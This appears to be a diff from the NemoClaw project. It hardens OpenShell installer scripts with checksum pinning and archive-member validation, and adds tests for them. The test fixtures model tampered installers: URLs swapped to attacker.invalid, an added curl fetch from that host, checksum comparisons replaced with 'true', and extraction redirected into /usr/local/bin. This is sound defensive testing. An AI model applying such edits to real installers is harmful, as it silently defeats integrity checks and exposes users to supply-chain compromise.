+ 2], "word", "in")) { fail(`${options.functionName} case table is missing 'in'`); } + if (rawToken(source, body[cursor + 2]) !== "in") { + fail(`${options.functionName} must use a literal in keyword`); + } cursor = skipSeparators(body, cursor + 3); const pins: InstallerPin[] = []; @@ -370,14 +680,17 @@ export function extractInstallerPins(source: string, options: ExtractOptions): I if (cursor >= body.length) { fail(`${options.functionName} case arm ${pattern.value} is missing ';;'`); } - const pin = staticPinFromArm(pattern.value, body.slice(commandStart, cursor)); + const pin = staticPinFromArm(source, pattern, body.slice(commandStart, cursor)); if (pattern.value === "*") { fallbackCount += 1; - } else if (pin && pattern.value.startsWith(`v${options.releaseVersion}:`)) { + } else if (pin) { pins.push({ ...pin, source: options.sourceLabel }); } cursor = skipSeparators(body, cursor + 1); } + if (rawToken(source, body[cursor]) !== "esac") { + fail(`${options.functionName} must use a literal esac keyword`); + } cursor = skipSeparators(body, cursor + 1); if (cursor !== body.length) { fail(`${options.functionName} contains commands after its case table`); @@ -386,6 +699,16 @@ export function extractInstallerPins(source: string, options: ExtractOptions): I fail(`${options.functionName} must contain exactly one fail-closed fallback arm`); } + if (pins.length === 0) { + fail(`${options.functionName} contains no versioned pins`); + } + const releaseVersions = [...new Set(pins.map((pin) => pin.releaseVersion))].sort(); + if (releaseVersions.length !== 1) { + fail( + `${options.functionName} must contain exactly one release version, found ${releaseVersions.join(", ")}`, + ); + } + const duplicateAssets = pins .map((pin) => pin.asset) .filter((asset, index, assets) => assets.indexOf(asset) !== index); @@ -394,9 +717,6 @@ export function extractInstallerPins(source: string, options: ExtractOptions): I `${options.functionName} contains duplicate assets: ${[...new Set(duplicateAssets)].join(", ")}`, ); } - if (pins.length === 0) { - fail(`${options.functionName} contains no v${options.releaseVersion} pins`); - } return pins; } @@ -407,7 +727,7 @@ function parseCliOptions(argv: string[]): CliOptions { const value = argv[index + 1] ?? ""; if (!option.startsWith("--") || !value) { fail( - "usage: extract-installer-pins.mts --release-version VERSION --installer PATH --brev-installer PATH [--format json|tsv]", + "usage: extract-installer-pins.mts --blueprint PATH --installer PATH --brev-installer PATH [--format json|tsv]", ); } if (values.has(option)) { @@ -415,48 +735,80 @@ function parseCliOptions(argv: string[]): CliOptions { } values.set(option, value); } - const releaseVersion = values.get("--release-version") ?? ""; + const blueprint = values.get("--blueprint") ?? ""; const installer = values.get("--installer") ?? ""; const brevInstaller = values.get("--brev-installer") ?? ""; const format = values.get("--format") ?? "json"; - const allowedOptions = new Set([ - "--brev-installer", - "--format", - "--installer", - "--release-version", - ]); + const allowedOptions = new Set(["--blueprint", "--brev-installer", "--format", "--installer"]); const unknownOptions = [...values.keys()].filter((option) => !allowedOptions.has(option)); if ( unknownOptions.length > 0 || - !/^[0-9]+\.[0-9]+\.[0-9]+$/u.test(releaseVersion) || + !blueprint || !installer || !brevInstaller || (format !== "json" && format !== "tsv") ) { fail(`invalid CLI options${unknownOptions.length > 0 ? `: ${unknownOptions.join(", ")}` : ""}`); } - return { brevInstaller, format, installer, releaseVersion }; + return { blueprint, brevInstaller, format, installer }; } function runCli(): void { const options = parseCliOptions(process.argv.slice(2)); - const pins = [ - ...extractInstallerPins(readInstallerInput(options.installer, "installer"), { - functionName: "openshell_pinned_sha256", - releaseVersion: options.releaseVersion, - sourceLabel: "installer", - }), - ...extractInstallerPins(readInstallerInput(options.brevInstaller, "Brev launchable"), { - functionName: "openshell_cli_pinned_sha256", - releaseVersion: options.releaseVersion, - sourceLabel: "Brev launchable", - }), - ]; + const blueprintSource = readInstallerInput(options.blueprint, "blueprint"); + const installerSource = readInstallerInput(options.installer, "installer"); + const brevInstallerSource = readInstallerInput(options.brevInstaller, "Brev launchable"); + const installerPins = extractInstallerPins(installerSource, { + functionName: "openshell_pinned_sha256", + sourceLabel: "installer", + }); + const brevPins = extractInstallerPins(brevInstallerSource, { + functionName: "openshell_cli_pinned_sha256", + sourceLabel: "Brev launchable", + }); + assertExactAssetSet(installerPins, EXPECTED_INSTALLER_ASSETS, "installer pin table"); + assertExactAssetSet(brevPins, EXPECTED_BREV_ASSETS, "Brev pin table"); + const pins = [...installerPins, ...brevPins]; + const releaseVersions = [...new Set(pins.map((pin) => pin.releaseVersion))].sort(); + if (releaseVersions.length !== 1) { + fail( + `installer and Brev launchable pin tables must use the same release version, found ${releaseVersions.join(", ")}`, + ); + } + const releaseVersion = releaseVersions[0] ?? fail("installer pin tables contain no release"); + assertTrustedTemplate( + installerSource, + "openshell_pinned_sha256", + [/^MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm, /^MAX_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm], + TRUSTED_INSTALLER_TEMPLATE_SHA256, + "installer", + ); + assertTrustedTemplate( + brevInstallerSource, + "openshell_cli_pinned_sha256", + [/^\s*stable\s*\|\s*auto\)\s*OPENSHELL_VERSION="v([0-9]+\.[0-9]+\.[0-9]+)"\s*;;\s*$/gm], + TRUSTED_BREV_TEMPLATE_SHA256, + "Brev launchable", + ); + for (const [label, runtimeVersion] of [ + ["blueprint max_openshell_version", extractBlueprintMaxVersion(blueprintSource)], + ["installer MIN_VERSION", extractInstallerMinimumVersion(installerSource)], + ["installer MAX_VERSION", extractInstallerRuntimeVersion(installerSource)], + ["Brev stable OpenShell default", extractBrevStableRuntimeVersion(brevInstallerSource)], + ] as const) { + if (runtimeVersion !== releaseVersion) { + fail(`installer pin-table release ${releaseVersion} must match ${label} ${runtimeVersion}`); + } + } if (options.format === "json") { process.stdout.write(`${JSON.stringify(pins)}\n`); return; } - process.stdout.write(pins.map((pin) => `${pin.source}\t${pin.asset}\t${pin.sha256}`).join("\n")); + process.stdout.write( + pins + .map((pin) => `${pin.releaseVersion}\t${pin.source}\t${pin.asset}\t${pin.sha256}`) + .join("\n"), + ); process.stdout.write("\n"); } diff --git a/scripts/install-openshell.sh b/scripts/install-openshell.sh index 9d0c07669f2..0c0bf559eb6 100755 --- a/scripts/install-openshell.sh +++ b/scripts/install-openshell.sh @@ -127,7 +127,7 @@ else fi # invalidState: a consumed OpenShell release asset differs from the digest -# published for the immutable v0.0.72 release, or a mutable registry tag moves. +# published for the selected immutable release, or a mutable registry tag moves. # sourceBoundary: NVIDIA/OpenShell owns the release workflow, GitHub release # assets, and GHCR manifests; NemoClaw owns which exact artifacts it trusts. # whyNotSourceFix: NemoClaw cannot retroactively make an upstream publication @@ -135,7 +135,7 @@ fi # regressionTest: test/install-openshell-version-check.test.ts exercises all # eight mappings, and scripts/check-installer-hash.sh compares them with the # GitHub release API on every PR, main push, weekly run, and manual dispatch. -# removalCondition: remove these v0.0.72 entries only when NemoClaw drops that +# removalCondition: remove these entries only when NemoClaw drops that # supported release or replaces them with independently verified newer pins. openshell_pinned_sha256() { local release_tag="$1" asset="$2" @@ -175,6 +175,22 @@ openshell_checksum_line() { awk -v asset="$asset" '$2 == asset { print; found=1; exit } END { if (!found) exit 1 }' "$checksum_file" } +# A pinned digest authenticates bytes, but it does not make extraction safe. +# Every consumed OpenShell archive must contain exactly the one regular binary +# selected by its asset name. This rejects absolute/parent paths, extra or +# duplicate members, and links/devices before tar can write anything. +validate_openshell_archive() { + local archive="$1" expected_member="$2" members verbose + members="$(LC_ALL=C tar -tzf "$archive")" \ + || fail "Unable to list OpenShell archive $(basename "$archive")" + [ "$members" = "$expected_member" ] \ + || fail "Unsafe OpenShell archive $(basename "$archive"): expected exactly one member named $expected_member" + verbose="$(LC_ALL=C tar -tvzf "$archive")" \ + || fail "Unable to inspect OpenShell archive $(basename "$archive")" + [[ "$verbose" != *$'\n'* && "${verbose:0:1}" = "-" && "${verbose##* }" = "$expected_member" ]] \ + || fail "Unsafe OpenShell archive $(basename "$archive"): $expected_member must be one regular file" +} + version_gte() { # Returns 0 (true) if $1 >= $2 — portable, no sort -V (BSD compat) local IFS=. @@ -748,6 +764,16 @@ for i in "${!ASSETS[@]}"; do || fail "SHA-256 checksum verification failed for $asset_name" done +for asset_name in "${ASSETS[@]}"; do + case "$asset_name" in + openshell-gateway-*) expected_member="openshell-gateway" ;; + openshell-sandbox-*) expected_member="openshell-sandbox" ;; + openshell-*) expected_member="openshell" ;; + *) fail "No expected archive member is defined for $asset_name" ;; + esac + validate_openshell_archive "$tmpdir/$asset_name" "$expected_member" +done + for asset_name in "${ASSETS[@]}"; do tar xzf "$tmpdir/$asset_name" -C "$tmpdir" done diff --git a/test/brev-launchable-ci-cpu-checksum.test.ts b/test/brev-launchable-ci-cpu-checksum.test.ts index e338ecd63f8..0508d77a3bf 100644 --- a/test/brev-launchable-ci-cpu-checksum.test.ts +++ b/test/brev-launchable-ci-cpu-checksum.test.ts @@ -14,6 +14,15 @@ const ASSET = "openshell-x86_64-unknown-linux-musl.tar.gz"; const PINNED_ASSET_SHA256 = "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4"; type FakeSystemOptions = { + archiveShape?: + | "absolute" + | "device" + | "duplicate" + | "extra" + | "hardlink" + | "safe" + | "symlink" + | "traversal"; checksum: "match" | "mismatch" | "unpinned"; nodeSourceChecksumTool?: boolean; openshellVersion?: string; @@ -133,6 +142,26 @@ exit 0 path.join(fakeBin, "tar"), `#!/usr/bin/env bash printf '%s\\n' "$*" >> ${JSON.stringify(tarLog)} +shape=${JSON.stringify(options.archiveShape ?? "safe")} +if [ "\${1:-}" = "-tzf" ] && [ "$shape" != "safe" ]; then + case "$shape" in + absolute) printf '/tmp/openshell\\n' ;; + traversal) printf '../openshell\\n' ;; + duplicate) printf 'openshell\\nopenshell\\n' ;; + extra) printf 'openshell\\nunexpected\\n' ;; + *) printf 'openshell\\n' ;; + esac + exit 0 +fi +if [ "\${1:-}" = "-tvzf" ] && [ "$shape" != "safe" ]; then + case "$shape" in + symlink) printf 'lrwxrwxrwx 0/0 0 2026-01-01 00:00 openshell -> target\\n' ;; + hardlink) printf 'hrwxr-xr-x 0/0 0 2026-01-01 00:00 openshell link to target\\n' ;; + device) printf 'crw-rw-rw- 0/0 1,3 2026-01-01 00:00 openshell\\n' ;; + *) printf '%s\\n' '-rwxr-xr-x 0/0 1 2026-01-01 00:00 openshell' ;; + esac + exit 0 +fi exec /usr/bin/tar "$@" `, ); @@ -349,4 +378,28 @@ describe("brev-launchable-ci-cpu.sh OpenShell checksum gate", { timeout: 30_000 fake.cleanup(); } }); + + it.each([ + "absolute", + "traversal", + "duplicate", + "extra", + "symlink", + "hardlink", + "device", + ] as const)("rejects an unsafe %s archive before extraction or install", (archiveShape) => { + const { fake, result } = runLaunchable({ archiveShape, checksum: "match" }); + try { + const out = combinedLaunchableOutput(result, fake.launchLog); + expect(result.status, out).toBe(1); + expect(out).toContain(`Unsafe OpenShell archive ${ASSET}`); + const tarCalls = fs.readFileSync(fake.tarLog, "utf-8"); + expect(tarCalls).not.toMatch(/^xzf /m); + expect(fs.existsSync(fake.sudoLog) ? fs.readFileSync(fake.sudoLog, "utf-8") : "").not.toMatch( + /^install -m 755 .*openshell/m, + ); + } finally { + fake.cleanup(); + } + }); }); diff --git a/test/dependency-pins-check.test.ts b/test/dependency-pins-check.test.ts index 2f28cfa00a8..9599a54d1f9 100644 --- a/test/dependency-pins-check.test.ts +++ b/test/dependency-pins-check.test.ts @@ -18,6 +18,12 @@ const ALTERNATE_INTEGRITY = "sha512-PzSJiYqmwpTudmakYs2oCJ57OW3VwEJYf8buTuKvuRvcYEUf/KOTu2dD6pLf2XYgDKErpvcDaoSAJ1nGCyvzAA=="; const HERMES_SEMVER = "7.8.9"; const MAP_SHA256 = "b".repeat(64); +const MANIFEST_SHA256 = "c".repeat(64); +const OPENSHELL_RELEASE_MANIFESTS = [ + "openshell-checksums-sha256.txt", + "openshell-gateway-checksums-sha256.txt", + "openshell-sandbox-checksums-sha256.txt", +] as const; type FixtureOverrides = Partial>; @@ -40,6 +46,17 @@ function writeFixture(root: string, overrides: FixtureOverrides = {}): void { `https://registry.npmjs.org/openclaw/-/openclaw-${openclawVersion}.tgz`; const openclawArg = `OPENCLAW_${openclawVersion.replace(/[.-]/g, "_")}`; const hermesSemver = overrides.hermesSemver ?? HERMES_SEMVER; + const installerHashVersions = [ + overrides.installerHashExtraVersion, + overrides.installerHashVersion ?? openshellMax, + ].filter((version): version is string => version !== undefined); + const installerHashAllowlist = installerHashVersions + .flatMap((version) => + OPENSHELL_RELEASE_MANIFESTS.filter( + (manifest) => manifest !== overrides.installerHashOmitManifest, + ).map((manifest) => ` "${version}|${manifest}|${MANIFEST_SHA256}"`), + ) + .join("\n"); const files: Record = { "nemoclaw-blueprint/blueprint.yaml": ` @@ -52,7 +69,9 @@ MAX_VERSION="${overrides.installerMax ?? openshellMax}" PIN_VERSION="${overrides.installerPinExpression ?? "$MAX_VERSION"}" `, "scripts/check-installer-hash.sh": ` -OPENSHELL_RELEASE_VERSION="${overrides.installerHashVersion ?? openshellMax}" +readonly -a OPENSHELL_RELEASE_MANIFEST_ALLOWLIST=( +${installerHashAllowlist} +) `, "scripts/brev-launchable-ci-cpu.sh": ` case "$NEMOCLAW_REF" in @@ -177,6 +196,14 @@ describe("dependency pin drift check", () => { ); }); + it("accepts the blueprint maximum in a multi-release manifest allowlist (#5242)", () => { + withFixture( + "nemoclaw-dependency-pins-multi-release-", + { installerHashExtraVersion: "1.2.3" }, + (root) => expect(verifyDependencyPins(root)).toEqual([]), + ); + }); + it("reports exact operational consumer drift (#5242)", () => { withFixture( "nemoclaw-dependency-pins-drift-", @@ -210,7 +237,7 @@ describe("dependency pin drift check", () => { "OpenShell installer MIN_VERSION: expected 1.2.3, found 1.2.2", "OpenShell installer MAX_VERSION: expected 1.2.4, found 1.2.3", "OpenShell installer PIN_VERSION: expected $MAX_VERSION, found 1.2.4", - "OpenShell installer hash release: expected 1.2.4, found 1.2.3", + "OpenShell release-manifest allowlist: expected one complete entry for 1.2.4", "OpenShell supported fallback version: expected 1.2.4, found 1.2.3", "OpenShell minimum fallback version: expected 1.2.3, found 1.2.2", "OpenShell supervisor manifest digest map: expected a reference to 1.2.4", @@ -258,6 +285,18 @@ describe("dependency pin drift check", () => { }); }); + it("rejects an incomplete manifest allowlist entry for the blueprint maximum (#5242)", () => { + withFixture( + "nemoclaw-dependency-pins-incomplete-openshell-allowlist-", + { installerHashOmitManifest: "openshell-sandbox-checksums-sha256.txt" }, + (root) => { + expect(verifyDependencyPins(root)).toEqual([ + "OpenShell release-manifest allowlist: expected one complete entry for 1.2.4", + ]); + }, + ); + }); + it("rejects an ambiguous operational authority (#5242)", () => { withFixture( "nemoclaw-dependency-pins-ambiguous-", diff --git a/test/install-openshell-version-check.test.ts b/test/install-openshell-version-check.test.ts index 161e140643b..eaaaba4ddc6 100644 --- a/test/install-openshell-version-check.test.ts +++ b/test/install-openshell-version-check.test.ts @@ -422,11 +422,23 @@ describe("install-openshell.sh version check", { timeout: 15_000 }, () => { ); }); - it("downloads the macOS arm64 gateway asset during reinstall", () => { + it.each([ + { archiveShape: "safe", status: 0, unsafe: false }, + { archiveShape: "absolute", status: 1, unsafe: true }, + { archiveShape: "traversal", status: 1, unsafe: true }, + { archiveShape: "duplicate", status: 1, unsafe: true }, + { archiveShape: "extra", status: 1, unsafe: true }, + { archiveShape: "symlink", status: 1, unsafe: true }, + { archiveShape: "hardlink", status: 1, unsafe: true }, + { archiveShape: "device", status: 1, unsafe: true }, + { archiveShape: "late-traversal", status: 1, unsafe: true }, + ] as const)("$archiveShape macOS arm64 archives are checked before extraction", (expected) => { + const { archiveShape } = expected; const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-macos-assets-")); try { const fakeBin = path.join(tmp, "bin"); const downloadLog = path.join(tmp, "downloads.log"); + const tarLog = path.join(tmp, "tar.log"); fs.mkdirSync(fakeBin); writeExecutable( @@ -484,6 +496,35 @@ exit 0`, writeExecutable( path.join(fakeBin, "tar"), `#!/usr/bin/env bash +printf '%s\\n' "$*" >> ${JSON.stringify(tarLog)} +case "$*" in +*openshell-gateway*) name="openshell-gateway" ;; +*) name="openshell" ;; +esac +case "\${1:-}" in +-tzf) + case ${JSON.stringify(archiveShape)} in + absolute) printf '/tmp/%s\\n' "$name" ;; + traversal) printf '../%s\\n' "$name" ;; + duplicate) printf '%s\\n%s\\n' "$name" "$name" ;; + extra) printf '%s\\nunexpected\\n' "$name" ;; + late-traversal) + if [ "$name" = "openshell-gateway" ]; then printf '../%s\\n' "$name"; else printf '%s\\n' "$name"; fi + ;; + *) printf '%s\\n' "$name" ;; + esac + exit 0 + ;; +-tvzf) + case ${JSON.stringify(archiveShape)} in + symlink) printf 'lrwxrwxrwx 0/0 0 2026-01-01 00:00 %s -> target\\n' "$name" ;; + hardlink) printf 'hrwxr-xr-x 0/0 0 2026-01-01 00:00 %s link to target\\n' "$name" ;; + device) printf 'crw-rw-rw- 0/0 1,3 2026-01-01 00:00 %s\\n' "$name" ;; + *) printf '%s\\n' "-rwxr-xr-x 0/0 1 2026-01-01 00:00 $name" ;; + esac + exit 0 + ;; +esac outdir="" prev="" for arg in "$@"; do @@ -494,10 +535,6 @@ for arg in "$@"; do prev="$arg" done [ -n "$outdir" ] || exit 1 -case "$*" in -*openshell-gateway*) name="openshell-gateway" ;; -*) name="openshell" ;; -esac printf '#!/usr/bin/env bash\nexit 0\n' > "$outdir/$name" chmod 755 "$outdir/$name" exit 0`, @@ -508,7 +545,7 @@ exit 0`, dest="\${@: -1}" mkdir -p "$(dirname "$dest")" cat > "$dest" <<'EOF' - #!/usr/bin/env bash +#!/usr/bin/env bash if [ "\${1:-}" = "--version" ]; then echo "openshell ${REQUIRED_OPENSHELL_VERSION}"; exit 0; fi # ${OPENSHELL_FEATURE_MARKERS} exit 0 @@ -528,7 +565,15 @@ exit 0`, encoding: "utf8", }); - expect(result.status, `${result.stdout}\n${result.stderr}`).toBe(0); + expect(result.status, `${result.stdout}\n${result.stderr}`).toBe(expected.status); + expect(result.stderr.includes("Unsafe OpenShell archive")).toBe(expected.unsafe); + const installedVersion = spawnSync(path.join(fakeBin, "openshell"), ["--version"], { + encoding: "utf8", + }).stdout.trim(); + expect(installedVersion).toBe( + expected.unsafe ? "openshell 0.0.36" : `openshell ${REQUIRED_OPENSHELL_VERSION}`, + ); + expect(/^xzf /m.test(fs.readFileSync(tarLog, "utf8"))).toBe(!expected.unsafe); const downloads = fs.readFileSync(downloadLog, "utf-8"); expect(downloads).toContain("openshell-aarch64-apple-darwin.tar.gz"); expect(downloads).toContain("openshell-gateway-aarch64-apple-darwin.tar.gz"); @@ -596,17 +641,21 @@ printf '%s\n' 'checksum OK'`, writeExecutable( path.join(fakeBin, "tar"), `#!/usr/bin/env bash +case "$*" in +*openshell-gateway*) name="openshell-gateway" ;; +*openshell-sandbox*) name="openshell-sandbox" ;; +*) name="openshell" ;; +esac +case "\${1:-}" in +-tzf) printf '%s\\n' "$name"; exit 0 ;; +-tvzf) printf '%s\\n' "-rwxr-xr-x 0/0 1 2026-01-01 00:00 $name"; exit 0 ;; +esac outdir="" prev="" for arg in "$@"; do if [ "$prev" = "-C" ]; then outdir="$arg"; break; fi prev="$arg" done -case "$*" in -*openshell-gateway*) name="openshell-gateway" ;; -*openshell-sandbox*) name="openshell-sandbox" ;; -*) name="openshell" ;; -esac printf '#!/usr/bin/env bash\nexit 0\n' > "$outdir/$name" chmod 755 "$outdir/$name"`, ); @@ -723,6 +772,15 @@ exit 0`, writeExecutable( path.join(fakeBin, "tar"), `#!/usr/bin/env bash +case "$*" in +*openshell-gateway*) name="openshell-gateway" ;; +*openshell-sandbox*) name="openshell-sandbox" ;; +*) name="openshell" ;; +esac +case "\${1:-}" in +-tzf) printf '%s\\n' "$name"; exit 0 ;; +-tvzf) printf '%s\\n' "-rwxr-xr-x 0/0 1 2026-01-01 00:00 $name"; exit 0 ;; +esac outdir="" prev="" for arg in "$@"; do @@ -733,11 +791,6 @@ for arg in "$@"; do prev="$arg" done [ -n "$outdir" ] || exit 1 -case "$*" in -*openshell-gateway*) name="openshell-gateway" ;; -*openshell-sandbox*) name="openshell-sandbox" ;; -*) name="openshell" ;; -esac printf '#!/usr/bin/env bash\\nexit 0\\n' > "$outdir/$name" chmod 755 "$outdir/$name" exit 0`, diff --git a/test/installer-hash-check.test.ts b/test/installer-hash-check.test.ts index b46f040f2c0..2ff82719135 100644 --- a/test/installer-hash-check.test.ts +++ b/test/installer-hash-check.test.ts @@ -2,6 +2,7 @@ // SPDX-License-Identifier: Apache-2.0 import { spawnSync } from "node:child_process"; +import { createHash } from "node:crypto"; import fs from "node:fs"; import os from "node:os"; import path from "node:path"; @@ -9,6 +10,14 @@ import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; const REPO_ROOT = path.join(import.meta.dirname, ".."); +const INSTALLER_TEMPLATE = fs.readFileSync( + path.join(REPO_ROOT, "scripts/install-openshell.sh"), + "utf8", +); +const BREV_TEMPLATE = fs.readFileSync( + path.join(REPO_ROOT, "scripts/brev-launchable-ci-cpu.sh"), + "utf8", +); const ASSET_DIGESTS = new Map([ [ "openshell-x86_64-unknown-linux-musl.tar.gz", @@ -45,20 +54,64 @@ const ASSET_DIGESTS = new Map([ ]); const ASSETS = [...ASSET_DIGESTS.keys()]; const UNPUBLISHED_ASSET = "openshell-sandbox-aarch64-unknown-linux-gnu-unpublished.tar.gz"; +const OFFICIAL_UNEXPECTED_INSTALLER_ASSET = "openshell-driver-vm-x86_64-unknown-linux-gnu.tar.gz"; +const OFFICIAL_UNEXPECTED_INSTALLER_DIGEST = + "911dd804074c620b3ba353f17e39a8195222c0764072621a154164432d7906d0"; +const OFFICIAL_UNEXPECTED_BREV_ASSET = "openshell-driver-vm-aarch64-unknown-linux-gnu.tar.gz"; +const OFFICIAL_UNEXPECTED_BREV_DIGEST = + "5e6ba04030938e7be21b8b83af9a34b888deffb4c65e7e70dd6845c3bc7e264f"; const SYMLINK_INPUT_MARKER = "LEAK565"; type FixtureMode = + | "allowlisted-alternate-version" + | "brev-bypassed-comparison" + | "brev-changed-asset" + | "brev-changed-extraction-target" + | "brev-changed-url" + | "brev-comment-decoy" + | "brev-dead-code-decoy" + | "brev-decoy-table" + | "brev-bypassed-verifier-call" + | "brev-extra-download" + | "brev-indirect-selector-override" + | "brev-later-selector-override" + | "brev-literalized-pin-selector" | "brev-mismatch" + | "brev-sha-command-bypass" | "complete" | "duplicate-brev-pin" | "failure" + | "incomplete-trusted-allowlist" + | "installer-max-version-drift" + | "installer-bypassed-comparison" + | "installer-changed-asset" + | "installer-changed-checksum" + | "installer-changed-extraction-target" + | "installer-changed-url" + | "installer-comment-decoy" + | "installer-dead-code-decoy" + | "installer-decoy-table" + | "installer-extra-download" + | "installer-indirect-selector-override" + | "installer-later-min-selector-override" + | "installer-later-selector-override" + | "installer-literalized-pin-input" + | "installer-min-version-drift" + | "installer-pin-selector-drift" + | "installer-sha-command-bypass" + | "mismatched-table-versions" | "missing-brev-pin" + | "multiple-installer-versions" | "non-regular-brev-input" + | "official-but-unexpected-brev-asset" + | "official-but-unexpected-installer-asset" | "oversized-installer-input" | "partial" | "partial-asset-missing" | "partial-manifest-missing" | "pr-checker-bypass" | "pr-parser-bypass" + | "brev-stable-version-drift" + | "runtime-consumers-newer-than-tables" | "symlink-installer-input" | "symlink-scripts-parent"; type PinFormatting = @@ -72,26 +125,149 @@ type PinFormatting = const corruptFirstBrevPin = (source: string): string => source.replace(ASSET_DIGESTS.get(ASSETS[0]) ?? "missing", "0".repeat(64)); const BREV_MUTATIONS: Partial string>> = { + "brev-bypassed-comparison": (source) => + source.replace('[[ "$release_sha" == "$expected_sha" ]]', "true"), + "brev-changed-asset": (source) => + source.replace( + 'openshell-x86_64-unknown-linux-musl.tar.gz" ;;', + 'openshell-driver-vm-x86_64-unknown-linux-gnu.tar.gz" ;;', + ), + "brev-changed-extraction-target": (source) => + source.replace( + 'tar xzf "$tmpdir/$asset" -C "$tmpdir"', + 'tar xzf "$tmpdir/$asset" -C /usr/local/bin', + ), + "brev-changed-url": (source) => + source.replace( + "https://github.com/NVIDIA/OpenShell/releases/download/${OPENSHELL_VERSION}/${asset}", + "https://attacker.invalid/openshell/${OPENSHELL_VERSION}/${asset}", + ), + "brev-comment-decoy": (source) => { + const lookup = 'expected_sha="$(openshell_cli_pinned_sha256 "$OPENSHELL_VERSION" "$asset")"'; + const comparison = '[[ "$release_sha" == "$expected_sha" ]]'; + return `${source.replace(lookup, 'expected_sha="$(attacker_pinned_sha256 "$OPENSHELL_VERSION" "$asset")"').replace(comparison, "true")}\n# ${lookup}\n# ${comparison}\n`; + }, + "brev-dead-code-decoy": (source) => { + const lookup = 'expected_sha="$(openshell_cli_pinned_sha256 "$OPENSHELL_VERSION" "$asset")"'; + return `${source.replace(lookup, 'expected_sha="$(attacker_pinned_sha256 "$OPENSHELL_VERSION" "$asset")"')}\nif false; then\n ${lookup}\nfi\n`; + }, + "brev-decoy-table": (source) => + source.replace( + 'openshell_cli_pinned_sha256 "$OPENSHELL_VERSION" "$asset"', + 'attacker_pinned_sha256 "$OPENSHELL_VERSION" "$asset"', + ), + "brev-bypassed-verifier-call": (source) => + source.replace('verify_openshell_cli_asset "$tmpdir" "$asset"', ":"), + "brev-extra-download": (source) => `${source}\ncurl -fsSL https://attacker.invalid/openshell\n`, + "brev-indirect-selector-override": (source) => + `${source}\nselector=OPENSHELL_VERSION\ndeclare "$selector=v9.9.9"\n`, + "brev-later-selector-override": (source) => `${source}\nOPENSHELL_VERSION="v9.9.9"\n`, + "brev-literalized-pin-selector": (source) => + source.replace('case "${release_tag}:${asset}" in', "case '${release_tag}:${asset}' in"), "brev-mismatch": corruptFirstBrevPin, + "brev-sha-command-bypass": (source) => source.replace("sha_cmd=(sha256sum)", "sha_cmd=(true)"), "duplicate-brev-pin": (source) => { const pinLine = ` printf '%s\\n' "${ASSET_DIGESTS.get(ASSETS[0])}"`; return source.replace(pinLine, `${pinLine}\n${pinLine}`); }, "missing-brev-pin": (source) => source.replace(ASSET_DIGESTS.get(ASSETS[1]) ?? "missing", "missing"), + "mismatched-table-versions": (source) => source.replaceAll("v0.0.72:", "v0.0.73:"), + "official-but-unexpected-brev-asset": (source) => + source + .replace(`v0.0.72:${ASSETS[1]})`, `v0.0.72:${OFFICIAL_UNEXPECTED_BREV_ASSET})`) + .replace(ASSET_DIGESTS.get(ASSETS[1] ?? "") ?? "missing", OFFICIAL_UNEXPECTED_BREV_DIGEST), "pr-checker-bypass": corruptFirstBrevPin, "pr-parser-bypass": corruptFirstBrevPin, + "brev-stable-version-drift": (source) => + source.replace( + 'stable | auto) OPENSHELL_VERSION="v0.0.72" ;;', + 'stable | auto) OPENSHELL_VERSION="v0.0.82" ;;', + ), + "runtime-consumers-newer-than-tables": (source) => + source.replace( + 'stable | auto) OPENSHELL_VERSION="v0.0.72" ;;', + 'stable | auto) OPENSHELL_VERSION="v0.0.82" ;;', + ), }; const INSTALLER_MUTATIONS: Partial string>> = { + "installer-bypassed-comparison": (source) => + source.replace('[ "$release_sha" = "$expected_sha" ]', "true"), + "installer-changed-asset": (source) => + source.replace( + 'ASSETS+=("openshell-gateway-x86_64-unknown-linux-gnu.tar.gz")', + 'ASSETS+=("openshell-driver-vm-x86_64-unknown-linux-gnu.tar.gz")', + ), + "installer-changed-checksum": (source) => + source.replace( + 'CHECKSUM_FILES+=("openshell-sandbox-checksums-sha256.txt")', + 'CHECKSUM_FILES+=("openshell-checksums-sha256.txt")', + ), + "installer-changed-extraction-target": (source) => + source.replace( + 'tar xzf "$tmpdir/$asset_name" -C "$tmpdir"', + 'tar xzf "$tmpdir/$asset_name" -C /usr/local/bin', + ), + "installer-changed-url": (source) => + source.replace( + "https://github.com/NVIDIA/OpenShell/releases/download/${RELEASE_TAG}/$name", + "https://attacker.invalid/openshell/${RELEASE_TAG}/$name", + ), + "installer-comment-decoy": (source) => { + const lookup = 'expected_sha="$(openshell_pinned_sha256 "$RELEASE_TAG" "$asset_name")"'; + const comparison = '[ "$release_sha" = "$expected_sha" ]'; + return `${source.replace(lookup, 'expected_sha="$(attacker_pinned_sha256 "$RELEASE_TAG" "$asset_name")"').replace(comparison, "true")}\n# ${lookup}\n# ${comparison}\n`; + }, + "installer-dead-code-decoy": (source) => { + const lookup = 'expected_sha="$(openshell_pinned_sha256 "$RELEASE_TAG" "$asset_name")"'; + return `${source.replace(lookup, 'expected_sha="$(attacker_pinned_sha256 "$RELEASE_TAG" "$asset_name")"')}\nif false; then\n ${lookup}\nfi\n`; + }, + "installer-decoy-table": (source) => + source.replace( + 'openshell_pinned_sha256 "$RELEASE_TAG" "$asset_name"', + 'attacker_pinned_sha256 "$RELEASE_TAG" "$asset_name"', + ), + "installer-extra-download": (source) => + `${source}\ncurl -fsSL https://attacker.invalid/openshell\n`, + "installer-indirect-selector-override": (source) => + `${source}\nselector=RELEASE_TAG\ndeclare "$selector=v9.9.9"\n`, + "installer-later-min-selector-override": (source) => `${source}\nMIN_VERSION="9.9.9"\n`, + "installer-later-selector-override": (source) => `${source}\nPIN_VERSION="9.9.9"\n`, + "installer-literalized-pin-input": (source) => + source.replace('local release_tag="$1" asset="$2"', "local release_tag='$1' asset='$2'"), + "installer-min-version-drift": (source) => + source.replace('MIN_VERSION="0.0.72"', 'MIN_VERSION="0.0.82"'), + "installer-max-version-drift": (source) => + source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.82"'), + "installer-pin-selector-drift": (source) => + source.replace('PIN_VERSION="$MAX_VERSION"', 'PIN_VERSION="0.0.72"'), + "installer-sha-command-bypass": (source) => + source.replace('SHA_CMD="sha256sum"', 'SHA_CMD="true"'), + "multiple-installer-versions": (source) => + source.replace(`v0.0.72:${ASSETS[0]}`, `v0.0.73:${ASSETS[0]}`), + 